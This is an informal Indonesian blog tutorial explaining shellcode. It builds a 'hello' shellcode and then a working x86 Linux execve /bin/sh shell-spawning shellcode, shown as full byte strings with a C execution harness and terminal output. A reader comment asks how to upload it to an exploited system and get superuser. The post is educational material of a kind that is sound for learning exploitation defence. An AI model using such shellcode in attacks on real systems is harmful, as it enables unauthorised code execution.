Bermain Shellcode

Oke di postingan kali ini, mari kita sedikit review tentang apa itu shellcode dan kenapa formatnya aneh gak terbaca seperti itu (ini contoh potongan shellcode: \xeb\x19\x31\xc0). Gara-gara ngebuka halaman shellcode exploit-db jadi kepikiran untuk ngebuat postingan ini hehe. Nah sebenarnya apa itu shellcode dan kenapa format stringnya geje seperti itu akan dibahas secara gamblang ala saya disini haha. Gak usah takut bacanya, karena penulis bahasanya sangat tidak formil jadi mestinya bisa mudah dimengerti ahahah…

Shellcode adalah code yang diberikan kepada prosesor komputer untuk mengeksekusi perintah yang hanya dimengerti komputer. Karena mesin cuma mengerti angka 0 atau 1, sebenarnya instruksi/code ke mesin dengan menggunakan binary 0 dan 1, tetapi per 8 digit binary dapat direpresentasikan sebagai 1 byte dengan code hexa, dan juga tentu saja lebih mudah dipahami manusia ketimbang kita input angka 0 dan 1 sebanyak 8x lipat barisan hexa hahah. Bagi yang suka nge-heker pasti tau shellcode itu berbeda dengan exploit.. Kalau exploit adalah satu kesatuan sistem penghancur, sedangkan payload adalah sesuatu yang dibawa dalam exploit.

Analoginya kalau seorang penyusup mau membobol datacenter nih.. ceritanya dia bawa botol aer minum sama kertas bertuliskan ‘Siram’. Yang dimaksud exploit adalah satu kesatuan orang + botol air minum + kertas bertuliskan “Siram”. Payload exploitnya adalah botol air minum. Shellcodenya adalah instruksi “Siram” nya. Jadi exploit ini anggaplah akan masuk ke datacenter membawa botol air. Sesampai di datacenter ketemu sama orang datacenternya (dalam hal nyatanya: prosesor komputer -yang memproses instruksi-) dan si orang kita itu ngasihin kertas (shellcode) bertuliskan “Siram”. Sehingga jebol lah perangkat di datacenter di siramin. Ahihihii..

Jadi kalau kita mau nge-heker yang paling susah dibuat itu shellcode-nya ya? Oh justeru yang paling susah dibuat tuh exploitnya, karena harus kita bundle dengan payload dan shellcode. Selain itu si orang yang bawa botol air dan kertas (dalam contoh tadi) harus kita rancang juga biar dia berlakon sesuai rencana a.k.a programming maksud saya. Pertama mungkin program si doi buat loncat via jendela, masuk ke dalam gedung harus cari posisi ruang datacenter (algoritmia mencari datacenter hahah), kalo di lantai 1 ga ada, harus cari lift atau tangga, kalau udah ketemu gimana buka pintu datacenter, dsb.

Dan pada postingan kali ini, pembahasan dibatas hanya scope shellcode sehingga diharapkan bisa paham secara gamblang dulu tentang shellcodenya. Semoga ada waktu untuk ngebahas exploit dan payload.. Seremmm.. yang pasti liat source buatan orang aja ah.. ahahahah…

Ada yang harus kita ketahui terlebih dahulu tentang register di prosesor yang tugasnya mengekusi instruksi (apapun) yang diberikan kepadanya. Register ini bernama EIP (Extended Instruction Pointer kalo gak salah kepanjangannya hahah). Nah kasarnya yang akan kita lakukan kedepan, register EIP ini yang harus kita overwrite dengan isi shellcode kita. Dalam analogi di atas tadi, artinya kita harus cari orang datacenter dan berikan kertas bertuliskan “Siram” tadi kepadanya. Karena semua instruksi dia yang akan eksekusi.

Dalam programming, seluruh “data” program yang berada di memori yang alamatnya tersimpan di EIP dianggap “code”. Sedangkan lainnya adalah “data” biasa (variable, parameter, argumen, dsb). Nah program C dibawah ini adalah program yang variable “str” nya akan ditunjuk oleh EIP untuk dieksekusi, karena variable str telah menjadi sebuah fungsi setelah dicasting dengan pointer to function dengan (void (*)(void)).

#include <stdio.h>
char str[] = "\x00\x00\x00\x00\x00";
int main(void) {
        ((void (*)(void))str)(); // str()
        return 0;
}

Program diatas jika dicompile dan dijalankan akan memiliki data str = “\x00\x00\x00\x00\x00” yang berada di alamat memory tertentu. Sedangkan “((void (*)(void))str)();” akan mengisi EIP dengan value dari alamat memory variable str berada. Sesaat kemudian EIP menunjuk alamat memory tersebut untuk dieksekusi prosesor. Jika hexa “\x00\x00\x00\x00\x00” kita benar, maka akan mendapatkan hasil yang kita inginkan. Untuk itu mari sekarang kita buat hexa a.k.a shellcodenya.

PRINTOUT: HELLO – SHELLCODE

Untuk membuat shellcode dengan menggunakan bahasa assembly. Ini adalah program yang akan memunculkan tulisan ‘hello’ kemudian exit:

Hello.asm
Hello.asm

Save dengan nama hello.asm kemudian kompile dengan NASM akan menghasilkan file object hello.o. Setelah itu link-kan object file dengan executable file bernama apa saja. Jadi deh.. Silahkan coba dieksekusi…

[email protected]:~/Desktop/shellcode$ nasm -f elf hello.asm #akan menghasilkan file 'hello.o'
[email protected]:~/Desktop/shellcode$ ld -o hello hello.o  #linking obj file 'hello.o' ke file binary bernama 'hello'
[email protected]:~/Desktop/shellcode$ ./hello #eksekusi 'hello'. test aja...
[email protected]:~/Desktop/shellcode$
[email protected]:~/Desktop/shellcode$ objdump -d hello

hello:     file format elf32-i386

Disassembly of section .text:

08048060 :
 8048060:	eb 19                	jmp    804807b 

08048062 :
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	b0 04                	mov    $0x4,%al
 804806c:	b3 01                	mov    $0x1,%bl
 804806e:	59                   	pop    %ecx
 804806f:	b2 05                	mov    $0x5,%dl
 8048071:	cd 80                	int    $0x80
 8048073:	31 c0                	xor    %eax,%eax
 8048075:	b0 01                	mov    $0x1,%al
 8048077:	31 db                	xor    %ebx,%ebx
 8048079:	cd 80                	int    $0x80

0804807b :
 804807b:	e8 e2 ff ff ff       	call   8048062
 8048080:	68 65 6c 6c 6f       	push   $0x6f6c6c65
 8048085:	77 6f                	ja     80480f6
 8048087:	72 6c                	jb     80480f5
 8048089:	64                   	fs

Setelah itu keliatanlah hexa dump yang bagian tengah itu.. ya itu lah shellcode kita. Sedangkan code yang berisi instruksi secara manusiawi pada kolom kanannya. Sehingga shellcode untuk stdout ‘hello’ adalah berurut dari atas sampai bawah (ki-ka) plus ditambah pemisah “\x” (format hexa) adalah seperti dibawah ini:

\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f

Coba copy paste shellcode ini ke program C  di atas, kemudian compile dan jalankan.. pasti akan ada stdout “hello” di output programnya hehehe…

“THE SHELL” – SHELL CODE

Sepertinya kurang asik kalau shellcode yang dihasilkan gak ada interaksi dengan kita atau not in our control… Nah shellcode yang paling populer adalah mengoverwrite EIP untuk mengeksekusi instruksi memanggil binary /bin/sh atau shell sejenisnya. Inilah asal muasal kenapa bernama shell code a.k.a “kode untuk shell”. Mari buat lagi dengan menggunakan assembler.. Pada sistem linux, system call yang bertugas mengeksekusi suatu executable file adalah execve() dengan format sebagai berikut:

int execve(const char *filename, char *const argv[], char *const envp[]);

Dalam assembler execve() direpresentasikan dengan interrupt no.11 (0xb). Sehingga pada register prosesor:

  • Kasarnya formatnya kek gini –> EAX (EBX, ECX, EDX) sama ‘kan dengan format syscall execve() di atas?
  • EAX: int no 11 = 0xb
  • EBX: sebagai parameter ke-1 berisi const char “bin/sh”
  • ECX: sebagai parameter ke-2 bertipe array of string, {“/bin/sh”,NULL}
  • EDX: sebagai parameter ke-3 NULL (envp[] gak akan kita gunakan)

Sehingga seperti inilah kode assemblernya:

Shell.asm
Shell.asm

Kalo liat source Shell.asm diatas, ada push 0x68732f2f itu apa hayoo.. Hehe.. itu string untuk “hs//” dan yang satunya lagi “nib/” dibalik karena ini stack atau tumpukan… Coba aja konversi hexa ke ASCII heheh.. Kok “/” nya dua kali? Sebenarnya biar cukup 4 byte alokasi dan lagian ga ada bedanya kok eksekusi /bin/sh vs /bin//sh (coba aja). Nah setelah itu di dump seperti cara sebelumnya..

[email protected]:~/shellcode$ objdump -d shell

shell:     file format elf32-i386

Disassembly of section .text:

08048060 :
 8048060:	31 c0                	xor    %eax,%eax
 8048062:	31 db                	xor    %ebx,%ebx
 8048064:	31 c9                	xor    %ecx,%ecx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	50                   	push   %eax
 8048069:	68 2f 2f 73 68       	push   $0x68732f2f
 804806e:	68 2f 62 69 6e       	push   $0x6e69622f
 8048073:	89 e3                	mov    %esp,%ebx
 8048075:	50                   	push   %eax
 8048076:	53                   	push   %ebx
 8048077:	89 e1                	mov    %esp,%ecx
 8048079:	31 d2                	xor    %edx,%edx
 804807b:	b0 0b                	mov    $0xb,%al
 804807d:	cd 80                	int    $0x80

Nah… didapatkanlah shellcode untuk spawn shell adalah seperti ini:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

Saya rekayasa lagi source program C di bagian atas posting ini (tinggal paste-in shellcode ini) sehingga source codenya menjadi seperti ini:

#include <stdio.h>
char str[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
int main(void) {
        ((void (*)(void))str)(); // str()
        return 0;
}

Kompile dan jalankan..

[email protected]:~/Desktop/shellcode$ gcc -o code-exec code-exec.c
[email protected]:~/Desktop/shellcode$ ./code-exec
$ id
uid=1000(inan) gid=1000(inan) groups=1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare)
$ pwd
/home/inan/Desktop/shellcode/
$ exit
[email protected]:~/Desktop/shellcode$

Spawn a shell dengan sempurna! Berarti shellcode kita \x31\xc0…blablabla…\xcd\x80 emang benar hehe. Semoga bermanfaat…

3 thoughts on “Bermain Shellcode

  1. klo kita uda bkin shell tersebut trus langkah slanjutnya ap mas gan???
    kita upload ke system yang uda kita exploit sblum ny ya??
    dan membuat superuser????

    mhon infonya,,,
    saya masih blajar mas..

    trimaksih

Leave a Reply

Your email address will not be published. Required fields are marked *